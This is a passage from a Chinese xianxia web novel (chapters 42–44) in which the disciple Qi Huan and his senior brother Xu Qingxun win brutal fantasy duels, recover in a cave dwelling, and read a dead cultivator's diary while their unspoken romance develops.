祁桓皱眉,这才注意到,自己手中的刀已经歪曲了。 轰! 王腾飞一拳轰下,当即粉碎了祁桓方才所站的巨石。 祁桓后退,双眸盯视着王腾飞。 “哦,你大概是第一次见天品神通吧?没见识的蛮人就是如此。”王腾飞说完,瞬间消去身形,再出现竟是祁桓身后。 一拳爆发,威能更猛,连空间都被扭曲了。 祁桓虽及时躲避,但还是受到了余波的攻击,手中的刀直接扭成了螺旋。若是人体,此时恐怕已经拧出了血水,哪怕只是一击都十分要命。 “怕了吗?”王腾飞冷笑,功法与神通一同爆发,身上显出无比炽烈的金光,身法更加鬼神莫测。 “我不知许清浔看好你什么,还是当宠物一样养着你,但今日,我要你后悔跟随了许清浔!” 话音未落,拳印震地,一路横压。 祁桓险而险之地躲过,回头一看,只见整片地域都被扭曲了,一些被卷入其中的灵兽只留血水一片,尸骨成渣。 王腾飞看他一直逃,更忍不住笑,忽然心念一变,双手落下,抬头道:“这样吧,你抛弃许清浔,归顺我吧,我看你年纪轻轻禀赋非常,正是我王家需要的青年才俊——” 可他话未说完,祁桓冷声打断,“滚。” 只一个“滚”字而已,王腾飞的五官都要气到扭曲了,大吼道:“为何?他许清浔能给的,我王家都能给,甚至给的更多更好!你为何要忠于他!” 祁桓不答,而这种无视显然更刺痛王腾飞。 王腾飞暴怒,身上再次爆发金光,如同行走在地上的烈阳,拳头周围的空间都扭曲了。 “那就去死吧!” 他飞跃而起,拳印瞬间扩大到覆盖了整座森林。 祁桓抬眸,忽然一笑,从剑匣中抽出了一柄纯黑的刀,他本不想用这柄的,因为这是师兄送的。他也本不想用神通的,因为师兄提醒过他,本命神通不要随意暴露在人前。 但是眼前这个人,太该死了。 祁桓眸闪红光,四肢百骸的灵气瞬间凝聚,神通灵力赫然爆发。与此同时,他手中的黑刀绽出了妖魔般的血光。 拳印覆压而来,摧枯拉朽?一刀斩之。 祁桓右臂的肌肉猛地暴出条条青筋,丹田极度运力,猛地劈出了一击。 一瞬间而已,本胜券在握的王腾飞脸色大变,一股极其诡异的神通灵力竟然无视他的金光防御,伴随着刀光斩杀而至。 这不对,他瞪大眼睛,这不对!他想逃开,可是来不及了,那股极其诡异的神通灵力瞬时涌入他的道体,带来了钻心碎骨的痛苦。 嘭!他的腹部爆开一股血雾,紧接着,右臂、右腿、左手、肝脏……接连爆炸! 甚至,蔓延到了他的大脑! 他身为体修,道体应坚韧不可摧,但是为何、为何—— 王腾飞瞪大眼睛,两行血泪下流,已经来不及使用任何法宝或法符。 嘭! 血雾大爆,规模骇然。 一条神念逃窜而出,却被祁桓察觉,也斩在了刀下。 他知道,这么做会与王家结下彻底的死仇,但他无法容许一而再侮辱师兄的人活在这个世上。 师兄,他的煌煌烈日,他在阴影中仰望的存在。而那个贱人,居然敢说师兄卖身……该死!该碎尸万段,尸块丢去喂猪狗! 不过,那一口气过去,他的道体瞬间衰弱,五脏六腑发虚发痛,人都险些站不稳。 “……” 比起死人,师兄如何了。 祁桓身体微颤,仿佛察觉到了什么,转头看向了天边——那朵覆盖青天的巨大法莲。 几百万张法符演化而成的“莲花”之中,青衣修士道袍飞舞,张狂大笑,瞬间勾住了他的心魂。 只见,那风华绝代之人只是虚空一点,那片天空如若雨水坠入平静的湖,泛起了一层层涟漪。 与此同时,恐怖而绚丽的海量法符轰杀而下,仿佛一场盛大的处刑。 祁桓呆住了,眼中控制不住地流露出深深的痴迷。 他强大又美好的师兄,若是他的“侣”,眼中只有他,该多好。 第42章 第四十二章 对媳妇言听计从的贤夫。…… 飞剑如洪, 奔流而下,荡平一切。 王家的神舟被余波淹没,连同王归至一起被消灭于无形。巨大的天地迷阵在这一击之下彻底崩毁,外围荡起遮天蔽日的烟尘。 李梦好距离近, 也遭到了波及, 但他丝毫不惧, 眼里满是疯狂与痴迷。 姬武尚、罗平、罗衡、容徐等人也见证了这冲击性的一幕,无不瞠目结舌,怀疑自己在做梦。 “用几百万张上品法符现场编织天品阵法……他是怪物吗?” “许清浔,真不愧是他。”容徐低语。 姬舞明深深向往, 这一刻, 他完全不认为成了对方的小弟是什么屈辱的事, 恰恰相反, 是荣幸!是莫大的荣幸啊。 姬武尚道:“这一击之下,就算王凰潜实力再强、手段再多,估计也完了。” 李家之人见状,有人低语:“这下王家是要与许家结死仇了吧。” 远远围观的许六福面色平静, “大少爷,您可是给我们出了一个难题,但并非不能解决。” 许家之中,也有拍手称快的,比如一位黄衣女子。 她笑了笑道:“此事说明,咱们许家才是玄界第一家, 大哥这番扬我许家之名,是我们许家的骄傲。” 玄衍秘境第三层的众多势力心思各异。 直至烟雾散去,飞剑回符,一切才彻底告一段落。 王凰潜虽有秘法在身, 有天品法宝护体,加上无比强横的本命神通,但终究没能抗下那绝杀的一击,道体千疮百孔,彻底崩碎,饮恨而终。 青天之上,法符演化的巨莲异象化作无形,灵力收敛,部分化作光雨洒下,落入了一片粉尘的大地。 青衣修士如若天神下凡,面色淡淡,似乎只是做了一件小事,绝色而威严的容颜令人心生敬畏。剩余的法符如流水般涌入他的袖袍之中,一股清风吹来,拂过他雪白的长发。 这样的姿态,不知为何,让所有人的心里同时跳出了“高洁”二字。 虽然当事人下一刻便打破了他们的幻想。 青衣修士眨了眨眼,表情忽然生动起来,大惊道:“等等,我家师弟呢?” 他于是立刻东张西望,终于发现了空地上屹立的颀长身影。 “不愧是我的好师弟,果然也解决掉王腾飞了。” 此话一出,围观的众修当即一怔,方才被许清浔的战斗吸引了目光,忘记看那边的战斗了,原来王腾飞已经被解决了吗? 姬武尚更加不可思议,“王家双子皆在同一日陨落,许清浔打败王凰潜或许不算太出人意料,但这个祁桓究竟是何方神圣,他如何打败的王腾飞?” 姬舞明大笑道:“果然绝顶天才身边都是绝顶天才,他虽被许大哥的光芒掩盖了,但也是一位人杰啊。” 众人面上露笑,这些天里他们都被王家欺辱了,如今那两人帮他们大大地出了一口恶气,无论是自家人还是非自家人,他们都觉得爽快之至。 而王家就不一样了,王家法府那边闻声冲来的人无不如丧考妣,面如土灰,难看极了。 大少爷和大小姐这番出事,出去之后,大人们绝对不会饶了他们,他们怕是只有死路一条了! “各、各位别紧张,不是还有回魂灯吗?大少爷和大小姐不会有事的。” “不行,大少爷的神魂也被斩灭了!” “你说什么?!” 而与此同时,不知不觉间,青衣修士已经带黑衣修士离开了原地。 片刻钟后,法府内,灵气袅袅,药香满堂。 许清浔数落道:“灵力透支,肉身负担过重,五脏六腑出血,骨头架子差点散了,让你去打个人,你咋打成这副模样?” 石床上,一个男人被迫平躺,上身赤裸,显露出一道道伤痕,有的只是伤到皮肉,有的深可见骨。 祁桓睁着眼,却动弹不得,听到对方的数落,只能低声答一句,“我至少赢了。” 许清浔闻言一笑,“至少赢了,那倒也是,师兄对你刮目相看了。” 祁桓顿了顿,唇线微扬,显然很喜欢听许清浔这么说。 “还好没有多少人看到你打王腾飞,否则你的本命神通就要暴露了。”许清浔忽然道。 祁桓微微蹙眉,问道:“我的神通必须隐藏不可吗。” 许清浔垂眸,随即点了点头,“你对世家大族了解不多,估计并不清楚,那些千年世家万年世家各有夺人神通的秘术方法,你的神通……在天品之上,你说他们想不想夺?” 祁桓低语:“我的神通如此稀世罕见吗。” “没错。”许清浔接着道,“神通本源在于脊骨,把你脊椎挖了,熔炼于其中一节,再将它合入他人的脊椎之中,那个人就能使用你的神通了。” 祁桓不禁露出诧异的眼神。 许清浔于是问:“你知道人有多少节脊骨吗?” 祁桓沉默了一下,回答:“二十六节。” 许清浔点头,“准确地说,人体脊柱由二十六块椎骨组成,所以用我方才说的那个方法,可以拥有二十六种本命神通,那王腾飞的本命神通你见识了吧?单天品就如此棘手,而天品之上还有圣品,乃至更高,想象一下,若你遇到一个敌人,身怀二十六种至少天品的本命神通,你如何打?” 祁桓眉宇紧皱,仿佛正在脑中演练,最后面色苍白,眼神十分凝重。 “对吧,所以说你要牢记,人外有人、天外有天,我们玄界是九界之中最弱的一界,功法神通秘术等底蕴皆在倒数第一,击败这里数一数二的强者并不算什么本事,外面还有比王腾飞强大数倍、数十倍的对手。” 青衣修士坐在石床旁,目光低垂,循循教导,语气轻柔,眸若秋水,澄澈动人。 祁桓看得心跳加速。他师兄一旦正经起来,总是如此让人移不开眼。 所以……爱上师兄,绝对不是他出了问题,而是人之常情,即便是男人也得沦陷。 祁桓正痴痴地想着,额头突然被重重地敲了一下。 “说话呢,你走什么神?打败王腾飞就得意了,不把师兄的话当回事了?” 呵斥入耳,他当即一怔,下意识地忐忑抬头,生怕看见师兄对他露出失望的眼神。 还好,并没有。他不禁欣喜,不由自主地说:“不会,师兄的话我一直铭刻在心。” 许清浔侧首,心想自家师弟何时如此坦率了?不过,这倒不是重点。 “你这次伤重,好好修养沉淀,其他事不必担心,晓得吗?” “是。”祁桓十分顺从。 那样子……不知为何,竟让许清浔幻视成了一个对媳妇言听计从的贤夫。 许清浔当即没忍住打趣,“师弟,师兄寻思,你若是有了媳妇,定会非常疼爱她。” 祁桓闻言浑身一凛,立道:“那是自然!” 声音中似乎带着一丝激动。 许清浔眨了眨眼,笑道:“真是期待看到那一天啊。” 祁桓微愣,默默地侧过了脸。 许清浔离开后,那张平淡的脸才终于浮现出一抹薄红。 “……”祁桓深吸了一口气- “有了媳妇吗……” 许清浔走出石室,来到外堂,嘴上一直喃喃自语。他虽开着玩笑,但他好像并不乐意看见祁桓真的娶妻,总觉得…… 他皱了皱眉,忽然面色一变,唇边淌下一丝血。他表面看着光鲜亮丽、威武霸气,但以金丹的修为强行编织天品法阵还是过于逆天了,他自己也极度透支,只是表面上看着毫发无伤而已。 没办法,总要展现一些实力才行,否则那些人就不会忌惮。 许清浔服下一枚丹药,就地打坐调息,半晌才恢复正常面色,双眸明亮。果然,挑战之后,他也收获颇多,精神力尤其见长,神魂的强度快到金丹后期了。 “作为龙傲天的大哥,这等强度是必须的!” 许清浔大笑,随即摸了摸下巴,思考道:“出玄衍秘境后,王家必会不惜代价追杀我和师弟,我不一定有事,但师弟一定会有事,我们得在玄衍秘境苟着,苟的时间越长越好,最好一直苟到九界天才会开启再出去。” 他抬手算了算时间,逐渐胸有成竹,脸上浮现笑意。 “差不多刚刚好,对了,第四层还有一些好东西,等师弟修养好再过去吧。” “待到九界天才会来临,我也会有一定压力。” 许清浔盘算着,确认没有缺漏后,沉下心静静修炼。一晃就是三日,他周身灵气环绕,符文周旋,一切都臻于完美,但他似乎还不满足,因为他知道,九界天才会里有一堆怪物,甚至有老怪物混入其中,堪称史上第一困难,同时也是史上第一混乱。 但仍旧要慢慢来,不要着急,千万不要着急。 许清浔沉心凝神,体内的神通灵力自然流动,传遍他的四肢百骸,融入金丹。 他的神通,至今没有展现过。因为……他也不知如何掌控。那是一个极强,但也极麻烦的神通,若是控制不好的话,他宁愿不用。 “……” 又过了三日,外面似乎波澜起伏。但法府内一片宁静。 祁桓伤势痊愈后早已投入了修炼,在巩固中寻求进一步的突破。他的修炼十分顺利,但心神却时不时遭到骚扰。 来自那个——可恶的经魔。 天魔池之行果然还是让它得益了。 “竟以金丹修为使出了天品阵法?果然深不可测,老魔我横跨古今,见识过无数人杰,但今日之举还是首次目睹。” “是符修,也是阵修,甚至还是魂修,你师兄隐瞒你的事不会太多了吗。” “不过,更耐人寻味的是,他一人便可纵横无敌,为何便要带上你,你虽不弱,但还未能与他比肩,他带上你,不嫌累赘吗?” 经魔喋喋不休,声如魔音,穿透神魂,并非老人的声音,而是青年的声音,十分温和,听不出丝毫的恶意。 前面的皆仿佛没听见,听到最后一段,祁桓面色微变。 因为,这也是他非常不解的一点。 若说师兄爱护师弟师妹,但他一门七人,前面还有五位师兄师姐,为何师兄独带他,而不带其他人。二师兄李长金有家族原因,可以忽略不算,三师姐和四师姐更喜欢携手闯荡,也忽略不算,五师兄季木木性情比他还阴郁……也忽略不算吧,但六师兄符水门明显性情也合适,师兄为何只带他,不带六师兄呢? 他尝试问过,但被搪塞了。非要说的话,莫非是…… 祁桓一顿,忽然脸颊发热,心道师兄喜欢长相好的,莫非是因为他长得更合师兄心意。 他绝非自认容姿上等,也从不为此自豪,只是……若师兄真心喜欢呢? 祁桓难免唇线上扬,又想到师兄之前说的第二个条件——品性。他觉得,他的品性应该……不坏吧? 思及此,他旁若无人地轻笑了起来。 浑然不知,许清浔刚好修炼结束,来到这边看望他。 “师弟,你这是……”许清浔睁大眼睛。 祁桓顿时一怔,难以置信地抬起了头,“师兄?你、你怎么在这?” 许清浔眨了眨眼,“我来这儿一会了,看你一脸认真,不好打扰你。” 祁桓呆住。怎会意淫师兄被师兄撞见,虽然他也没意淫什么…… “话说回来,你方才的样子……”许清浔边说边走近,目光打量着祁桓,一本正经地评价道:“莫名像在想着恋人?” 祁桓浑身一颤,在心中艰难地否定道,还不是恋人,是师兄。 “师兄不要胡说了。”他正色,努力摆出一副淡淡的样子。 许清浔闻言一笑,“师兄只是打趣你一下而已。” 祁桓微微皱眉,当即长身而起。 许清浔有些担扰,“但说实话,师兄有些担忧,那九界天才会美女如云,绝色佳人遍地走,随便一撞就是圣女神女,万一你受不了诱惑怎么办?” 祁桓反而道:“师兄才是,你不是最爱美人吗?” 许清浔一呆,挠了挠脸,语气中透着几分无辜,“那只是欣赏,别看你师兄这样,其实你师兄要求很高的,至今为止,还没有一人过得了你师兄的眼。” 应当是再平常不过的一句闲聊,却无意间刺痛了其中一个人的心。 那一刻,那人的心脏好像中了王腾飞的神通,被拧成了肉渣血水。 气氛也就此凝固了。 许清浔察觉到气氛的变化,莫名心中发悸,补充道:“总之,你师兄绝不会因为对方好看,就来者不拒的。” 黑衣青衣还是没有反应,仿佛石化了一般,眼神不知停落在哪里。 许清浔更加不明所以,小声地问:“师弟,你怎么了?” “……没事。”祁桓终于回答,但语气闷得吓人。 许清浔当然看出了他心情不好,可这个男人从来如此,大型闷葫芦一个,一旦晴转阴,就不知究竟何时才能再晴起来。 他眸子一转,干脆坐在了祁桓身边,抬手搭肩,语气轻松道:“有心事大可跟师兄说,不要客气。” 祁桓沉默,没回头,“与师兄无关,是我的事。” “莫非我刚刚说错了哪句话?”许清浔追问,语气表面轻浮,实则十分关切。 祁桓摇头,“是我自己……道心不稳。” 许清浔瞳孔一震,道心不稳?你小子我还不了解吗,你怎么会道心不稳? “果真?说来听听,是何事导致你道心不稳?” 祁桓再次沉默,始终没有看许清浔。 许清浔皱起眉头,就这么等着祁桓,等了足足一刻钟,最终低下头,忍不住道:“师弟啊,师兄理解你的闷葫芦性情,但不是所有人都愿意一直等你,即便是师兄我,耐心也是有限的。” 祁桓终于变色,猛地转过头,眼里闪过一抹清晰可见的紧张。 许清浔低着头,失落地想,气氛组也有燃尽的时候啊,你师兄又不是永动机…… “师兄!” 突然一道声音打破了许清浔的郁闷碎碎念。 许清浔呆呆地抬起头。 只见,黑衣青年正面转来,严肃而认真地看着自己,表情不再淡漠,而是仿佛强压着无数情绪的表面平静。 “我绝不是那个意思,”祁桓急忙解释,“我只是、只是……” 许清浔第一次见祁桓如此左支右绌,颇为意外,忍不住好奇问:“只是什么?” 祁桓似乎急了,面色泛起不自然的薄红,支支吾吾地说:“只是我……自顾自烦恼。” “你倒是说你在烦恼什么呀。”许清浔直视着祁桓的眼睛。 祁桓一愣。 “就是我想得到一个举世无双的珍宝,但珍宝未必……看得上我。”他艰难地说出口,不知何时早已冷汗直流。 许清浔闻言,仿佛看到了一个举世无双的大笨蛋,都给他听笑了,笑到肚子都疼。 祁桓皱紧眉头,低声道:“师兄为何发笑。” 许清浔转头,凑近祁桓的脸,随手拍了拍祁桓的肩膀,理所当然地道:“那就抢啊!这又什么好烦恼的,你这小子,天天把师兄的话当耳边风是吧?放着珍宝不抢,你是大傻瓜吗?” 祁桓目瞪口呆,脑子好像轰了一下,仿佛天崩地裂,河川逆流。 许清浔看他一脸痴傻,没忍住敲了一下额头,笑道:“世上的好东西都是要主动争取的,你不主动,难道要对方主动?珍宝都是有脾气的,怎想落在一个傻瓜手里?” 祁桓听得一愣一愣,眼里写满了动摇。 许清浔再次凑近,几乎贴上了对方的脸,“所以说,你想要的珍宝是什么?” 是你。祁桓差点矢口说出,好险收住了口,认真道:“暂时不能说,以后……你定会知道的。” “是吗?”许清浔眨了眨眼,看到对方难得如此坦诚,自己的心情也好了,倒也不必刨根问底。 “比起这个,做好准备跟师兄下第四层了吗?” 许清浔起身,双手收入袖中,一副神气凛凛的模样。 “嗯。”祁桓也跟着起身。 “那好,我们过去吧。”许清浔转身,浅色的双眸仿佛只映着祁桓的身影。 祁桓心头一紧,忍不住问:“在此之前,师兄能否告诉我一件事。” “何事?”许清浔随口问。 “你……偏爱怎样品性的人。”祁桓似乎非常重视这个问题。 许清浔不假思索道:“就师弟你这样品性吧。” 这一瞬,黑衣青年如遭雷劈,半晌都没反应过来,许清浔去哪里,他便下意识跟着去哪里,许清浔说什么,他尽管不知在说什么,但都下意识地点了点头。 亦步亦趋,同手同脚,良久才终于醒悟。 而此时,他们已经到了第四层某一处的阵眼位置。 许清浔看着前方道:“我们大概是最早到的几个,此处还没有什么法府。” 说完,他大手一挥,平地起洞府,洞前飘起几张金纸红字的法符。 “道场布好了,师弟,咱们进去吧。” “是。” 黑衣青年连回答都比以前快了,而且格外勤快,主动走在前面排除危险。 许清浔颇为意外,但也疑惑。他心想,师弟为何突然转变?是因为他说耐心有限,还是因为他说偏爱对方,感觉是后者。所以这个反应……算是受宠若惊吗? 许清浔一顿,心想这个傻师弟莫非才知道他偏爱?虽然他上次傲娇否定过,但明眼人都看得出不对劲吧。 但他回头一想,忽然发现了问题。那就是……其实在不识人情世故上,他师弟也随了他,领略的慢。 “这……” 他突然停步,面色凝重。 而黑衣青年察觉到他的停顿,立刻转过了头,“师兄,怎么了。” 许清浔一抬头,便猝不及防地对上了一双格外纯净的眸子。他当即诧异,心跳连续掉了好几拍。 那男人见他不说话,显然非常担心他,立刻走上前来,伸手抚摸着他的侧脸,动作轻柔而珍重,仿佛对待珍宝一般。 许清浔莫名心慌,脑中的雷达几乎要炸了。 而下一刻,男人微微皱眉,沉声道:“师兄为何不说话。” 语气中带着几分责怪,更有一种说不出的强势,或者说,霸道。 而这,正好就是许清浔最希望在他身上看到的。 许清浔的心好像突然“铛”了一声,响起了十分不对劲的余音。 这、怎么回事?! 第43章 第四十三章 男同觉醒了是吧! 小小师弟, 竟敢魅惑师兄?! 许清浔虎躯一震,当即快步上前,仿佛掩饰一般,躲过了祁桓的视线。 祁桓:“……” 他看着许清浔的背影, 似乎有些疑惑- 法府内, 空气冰寒, 透着一种说不出的压力,令人神魂疲惫,昏昏欲睡。 许清浔说明道:“这是第四层的域压,必须时刻提起精神。方才我说的事情, 你都记得了吗?” 祁桓点头, 他坐在榻上, 剑匣放在身旁, 腿上搁着一柄黑刀,正随手擦拭着。 “第四层的灵兽格外强大,甚至分布有元婴级别的恐怖灵兽,镇守在阵眼处, 我们运气好,来到了一个没有灵兽镇守的阵眼。” “对,就是这么一回事。”许清浔满意,目光忽地垂落,问道:“你还保存着吗。” 他说的是祁桓手中的剑,他送的, 他当然记得。 五年前,他好不容易拍到原著祁桓的剑,要送给当时还是少年祁桓,这小子居然还拒收, 说什么不能收他太多恩惠,被他调戏说,怎么,那又不用你以身相许,结果少年就红了脸,气鼓鼓的模样连他一个男人都觉得可爱,最终还是被他软磨硬泡到收下了。 祁桓低头,慢慢答道:“是。” “我说的没错吧,这刀好用。”许清浔随手托腮,胸口贴在桌边,浅色的双眸格外明亮,仿佛两轮低悬的清月。 “是,杀王腾飞也是多亏了它,只不过一次出鞘就要耗尽我全身的灵气。”祁桓如实评价。 “杀手锏嘛,不到万不得已,谨慎使用。”许清浔笑了笑,随即正色道:“先各自修炼吧,第四层十分凶险,修为不够,难免遭难。” 祁桓目光抬起,正视着许清浔的眸子,似乎还有话要说,但最终只是点头称是。 转眼一个月过去。 法府周围的阵法分毫无损,路过的大小灵兽都没发现法府的存在。 许清浔修炼有成,暂时收功。他走出法府,望向晦暗的洞穴深处,无声地喃喃道:“果然跟原著写的一模一样,第四层连天空都没有,是彻头彻尾的‘地下城’,就算我熟知剧情,到处乱走也有危险,另外,这里的灵气也真的浓郁得惊人。” 但是还不够,就如他对祁桓说的那样,九界天才会怪物如云,当下的修炼强度还远远不够。 不管是他,还是祁桓,所以……必须要冒险了。 许清浔皱起眉头,面色肃穆,随即消去身形。 与此同时,法府内修炼的祁桓睁开了眼,他沉默了片刻,忽然站起身,拿起剑匣,也消失了。 第四层十分安静,偶尔有些动静,但无一例外,都是“弱肉强食”的一环。 第三层的修士也陆续下来了第四层,当中有各大家族之人,比如姬武尚、姬舞明,还有他们中间的那个兄弟,姬物喜。这三兄弟,大哥沉稳,二哥跳脱,三弟兼有两个哥哥的个性,但修为比他们还要弱上一个境界。 许清浔并没有碰见他们,他仿佛在找什么东□□自走到了很深的洞穴。那里显然是一个巨兽的巢穴,十分凶险,但他好像明知其险,仍要继续前行。 过了半日,他才从其中走出,道袍些许狼狈,回来时换了一身道袍,仿佛无事发生般,眉眼含笑,念念有词。 他一回到法府,忽然面色一变,震惊地看着立在玄关的黑衣青年。 “师弟,你闭关出来了吗。” 明知故问之事,只是打一声招呼而已。 祁桓点了点头,眉头微皱,问道:“师兄方才去了哪里。” 许清浔一呆,“去搞了一些东西,本来要找你,正好你来了,我们一起看吧。” 片刻之后,桌上放满了卷轴,还有玉简、竹简等,都看上去颇有年份。 祁桓站在桌旁,面露诧异。 许清浔道:“一些修士在第四层遇难之后留下的东西,当中可能有我们需要的功法或者神通术。” 祁桓面色微变,随手拿起一本,翻阅查看。 许清浔也拿起了一本。他当然不是无缘无故想到这么做,原著祁桓意外跑到那个地方,又意外捡到一本古经,从中领悟了吞噬大法,能够吞噬他人神通,炼化、加强到自己身上来。 他到那里跟一头巨蟒大战了三个时辰,才终于搜集来这些书。理论上原著祁桓找到的古经就在其中,但他实在辨识不出来,一个人找还不如两个人找。 不过,他先提醒了一句,“师弟,若是找到名带‘吞噬’的功法,记得跟师兄说一声。” “是。”祁桓并没有怀疑,快速翻阅了一本,眼中有震惊,也有领悟。 许清浔翻着书,随口说道:“多看书,能够提高领悟力。” 祁桓动作微僵,看了许清浔一眼,然后又听话地继续翻阅。 法府一片安静,只剩下了翻书声。 许清浔翻到一半,抬头看了一下祁桓,看对方面色平淡,一副专注的模样,莫名唇线上扬。他也不知自己为何笑,就是一种下意识的反应,笑完才自己才意识到,然后又感觉不太对劲。 无缘无故看着师弟傻笑什么呢你? 还好师弟不知道…… 许清浔有点心虚,目光又落在书上,翻了几页,忽然,他睁大眼睛。这竟是一本日记?上面记录着某位修士的修炼历程,包括他的心得体会,以及对于“地法财侣”的思考。 那位修士估计性格颇为保守、腼腆,因此哪怕在自己的日记里,用词也十分慎重、书面。他写道:“地法财,很好理解,我也认为修行路上,这三者缺一不可,但‘侣’究竟作何理解?有人说,侣是相伴之人、相助之人,在古时,修士最大的‘侣’便是引入道的师尊,我有些认同,但我是野路子出生,从未有过师尊……哎,‘侣’真的是必须的吗?” 许清浔看着那人的日记,不由陷入了对方的思考,也开始思考,“侣”真的是必须的吗。 他再翻一页,发现那人又在思考。 ——“我碰见了一对道侣,他们就是……所谓的恋人?感觉还没有结契,但他们……同为男人,竟在……阴阳大和谐。” 那人写到这里的时候,明显十分羞耻,划了好几次字句,相当斟酌用词。 许清浔内心同情,这哥们显然是不小心撞见了男同现场,认知遭到了巨大的冲击,可以理解,哪个大直男碰见了不得连夜爬上崆峒山? 自己只是看了一点日记都膈应了一下。 但他继续往下看,当即愣住了。 下一页书赫然写着:“原来男人也可……我忽然,悟了。” 喂!你悟了个什么啊,男同觉醒了是吧! 许清浔额冒冷汗,居然看个日记都紧张了起来,连忙继续翻页,心想哥们,你可千万要把持住啊。 下一页写道:“我念念不忘,满脑子都是那个画面,我忽然觉得男人也不错,比如与我同行的好友,糟了,我道心不稳!” 你当然道心不稳了,性取向都动摇了啊,不会觊觎起好友屁股了吧。 许清浔倒吸一口冷气,理智告诉他这种八卦没必要浪费时间看,手却格外老实,翻了一页又一页,吃瓜才是动力吗? ——“好友姓姬,与我认识三年了,当年我历练在外,意外救下他,他对我非常感激,人也很热情,经常送我一些东西,我后来才知道,原来他是那个姬家的人。真好啊,我一介山野散修,从未感受过家族的温暖,虽然他好像……不觉得生在姬家是一件好事,为何如此?我很好奇,但从不问他。” ——“我时常羡慕他,但他好像更羡慕我,我们一起来到玄衍秘境,一起打下第四层,很多人死了,只剩下我们两个了,这里没有天空,只有飕飕的冷风,我与他面对面打坐修炼,有时候觉得……这片天地既大又小,大到走不尽,小到……可以尽装在他的眼里。嗯,他的眼睛甚是明亮,初次见面时,我便这么觉得了。啊,他看过来了,还对我笑了。” 许清浔面色微妙,心想自己不会看到了一个男同的恋情日记吧? 万万没想到,下一页——“我跟他鱼水之欢了。” 许清浔睁大眼睛,好像脑子轰了一下,整个人当场炸裂。欸,哥们,你不是吧,就、就因为笑了那一下?等等,这会不会太快了? ——“姬奉为,他的全名,我心悦于他。那日晚上,我其实是清醒的,他并不知。” 许清浔大惊,万万没想到,竟然吃了一口姬家现任家主的大瓜。等等,意思是姬奉为以为这哥们睡着,睡了这哥们?敢情男同还不只是一个啊。 等等……不是,你两男同,你装睡是什么意思?不如一起滚了算了,诶等等,姬奉为这么做犯法了吧,什么,你两都中了蛟毒? 许清浔脑子都快要转不过来了,下意识地继续翻看。 ——“我好多次想开口,但他好像哭了,说对不起我。我心想,真是傻瓜,我并不觉得他对不起我。” 许清浔瞳孔地震,心想自己真的还要继续往下看吗? ——“我忽然明白了‘侣’的意思,求道之路太多凶险与未知,有人相伴,总比一个人孤苦好。” ——“可是我中的蛟毒太重,已经时日无多了,他会活着,我会死在这里,与我的恋情一起。” 这段话的后面,是滴溅的黑血痕迹,看得出毒性很重。 许清浔看到后面,心情也跟着一沉。这人居然到死都没有说出自己的恋情吗。 他不太明白,因为预感到了死期将至,所以即便知道对方对自己有意,也没有坦白自己的心吗? 这样未免太别扭了。与他的三观不太相符,又或许,他没有恋爱经验,才无法感同身受? 他觉得……爱就大方说出来,这样对方才能知道,才不至于留下遗憾,难道不是吗? 许清浔目光停落在那一页,表情流露出了悲伤。 “师兄,你怎么了。” 面前突然传来一道关切的声音。 许清浔顿了顿,抬起头,对上了祁桓的黑瞳。 这双眸子,时而冷漠,时而平淡,时而……会像现在一般,显露出藏不住的温柔。 令他每一次险些燃尽了,又不得不续上。 或许,这就是榜一大哥的宿命吧? 许清浔忽然微笑,“没,就是看到了一本较为别致的日事。” “是吗。”祁桓目光落在他手上的书册,好像有些好奇。 “是。”许清浔点点头,接着心念微动,顺口道:“对了师弟,你若是心里有事,可千万不要藏着不说,否则……怕留下一生的遗憾。” 祁桓轻应一声。 许清浔之后便放下那本日事,翻看起了其他书。 而片刻之后,许清浔专注翻阅其中一本书时,祁桓不动声色地拿起了那本日事。 第44章 第四十四章 不能迎男而上吧! 许清浔专心看书, 未注意到祁桓变幻的脸色,以及微微颤抖的手臂。 良久,祁桓抬眸,目光定定地看着许清浔, 表情复杂难辨, 最后垂下了双眸, 罕见地流露出了几分无措。 爱恋之事,于他而言,既近又远,求之不得, 又能奈何。 “再者, 我也打不过师兄。”祁桓无意识地轻声自语。 许清浔仿佛听到什么, 立时抬起头, 好奇问:“师弟,你方才说了什么吗?” 祁桓一顿,不动声色地将手边的书藏在书堆之下,摇头道:“没有, 只是……在思考。” 许清浔侧首,追问道:“思考什么?” 祁桓停顿了一会,问:“思考……何时能够赢下师兄。” 许清浔睁大眼睛,随后没忍住笑了,“虽然师兄很想支持你,但这辈子是没希望了。” 祁桓皱眉, 眼里似乎闪过了沮丧,“一丝希望都没有吗。” 许清浔眨了眨眼,认为也不能太打击师弟,转而道:“要看你怎么想了, 修仙百艺,你总能在其中一艺赢下师兄,不是吗?” 祁桓愣了一下,似乎觉得有理,但又摇了摇头。 他这样子怪神秘的。许清浔从未见过祁桓如此,不禁有些新奇,自家师弟长大了,或许逐渐有了一些青春期的烦恼吧? “不管怎样,有志气是一件好事。”许清浔一笑。 祁桓微微抬眸,张口欲言,又不得不强行咽下,眉宇间多了一分郁气。 许清浔跳过方才的话题,“如何,找到‘吞噬’的经书了吗。” 祁桓摇头,“还未。” 许清浔不气馁,继续鼓励道:“那便继续找!” 三刻钟过后,祁桓忽然开口,“师兄怎会知道这些书中,有一本关于‘吞噬’的经。” 许清浔翻页的动作顿时一僵。 未等他想到如何回答,祁桓继续道:“师兄博学多才,世间之事无不可知,真令师弟……艳羡无比。” 许清浔呆住,总觉得祁桓说话怪怪的,小声地问:“师弟是生气我对你……有所隐藏吗。” 他说的十分直白,祁桓还没问,他便直接说了。 他们两人,一人性子直率,一人性子细腻而婉转,很多时候咬合不到一起,但一旦咬合上,便会……不由心跳漏上一拍。 祁桓沉默了一下,点头称是。 许清浔放下手中的书,认真道:“师兄并非故意,等到时机成熟,你总会知道的。” “何时才是时机。”祁桓问。 “很快了。”许清浔揣摩着,“等你修炼到元婴期,我便告诉你一部分真相。” 真相这个用词,简直意味深长,仿佛现在的一切都是假象似的。 祁桓既喜又不喜,问:“为何只是一部分。” “元婴之上不是还有化神吗?到那时,我再告诉你一部分。”许清浔坦率直言,眉眼含笑,没有一丝阴霾。 “钓鱼都不应如此。”祁桓低声,仿佛在抱怨。 许清浔大笑,若不是相隔着一张桌子,他恐怕已经贴着对方勾肩搭背了。他兴致勃勃地道:“到时候你就会知道师兄的辛苦!说不定还会因此爱上师兄呢?” 祁桓一呆,又不再说话了。 一刻钟后,功夫不负有心人,许清浔当真找到了那本古书。 古书本身毫无特异之处,只是一张混在其他书中的残页而已,难怪找起来如此麻烦,险些弄丢了。 许清浔自己先看了一遍,全部记在心里,再交给祁桓。 